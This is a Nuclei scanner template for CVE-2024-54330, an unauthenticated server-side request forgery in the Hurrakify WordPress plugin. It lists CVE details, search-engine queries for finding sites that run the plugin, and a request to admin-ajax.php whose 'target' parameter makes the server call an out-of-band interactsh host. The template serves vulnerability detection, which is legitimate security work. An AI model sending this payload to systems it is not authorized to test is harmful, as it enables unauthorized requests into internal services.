id: CVE-2024-54330

info:
  name: Hurrakify <= 2.4 - Server-Side Request Forgery
  author: s4e-io
  severity: high
  description: |
    The Hurrakify plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.4. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2024-54330
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hurrakify/hurrakify-24-unauthenticated-server-side-request-forgery
    - https://nvd.nist.gov/vuln/detail/CVE-2024-54330
    - https://patchstack.com/database/wordpress/plugin/hurrakify/vulnerability/wordpress-hurrakify-plugin-2-4-server-side-request-forgery-ssrf-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2024-54330
    cwe-id: CWE-918
    epss-score: 0.56017
    epss-percentile: 0.98247
  metadata:
    verified: true
    max-request: 2
    vendor: by_hep_hep_hurra
    product: hurrakify
    framework: wordpress
    fofa-query: body="wp-content/plugins/hurrakify"
    shodan-query: http.html:"wp-content/plugins/hurrakify"
  tags: cve,cve2024,wordpress,wp-plugin,hurrakify,ssrf,oob,oast

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/hurrakify")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=hurraki_tooltip_proxy&target=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - 'http'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200e7436fde6eab7fd26cf81ce421853a53a9c375b816a6d6785e780c5a9b6066e022100cff312dbc569cf1a2f5d690d337e26562e1321a2f4d9f932dfe953567e7cf0da:922c64590222798bb761d5b6d8e72950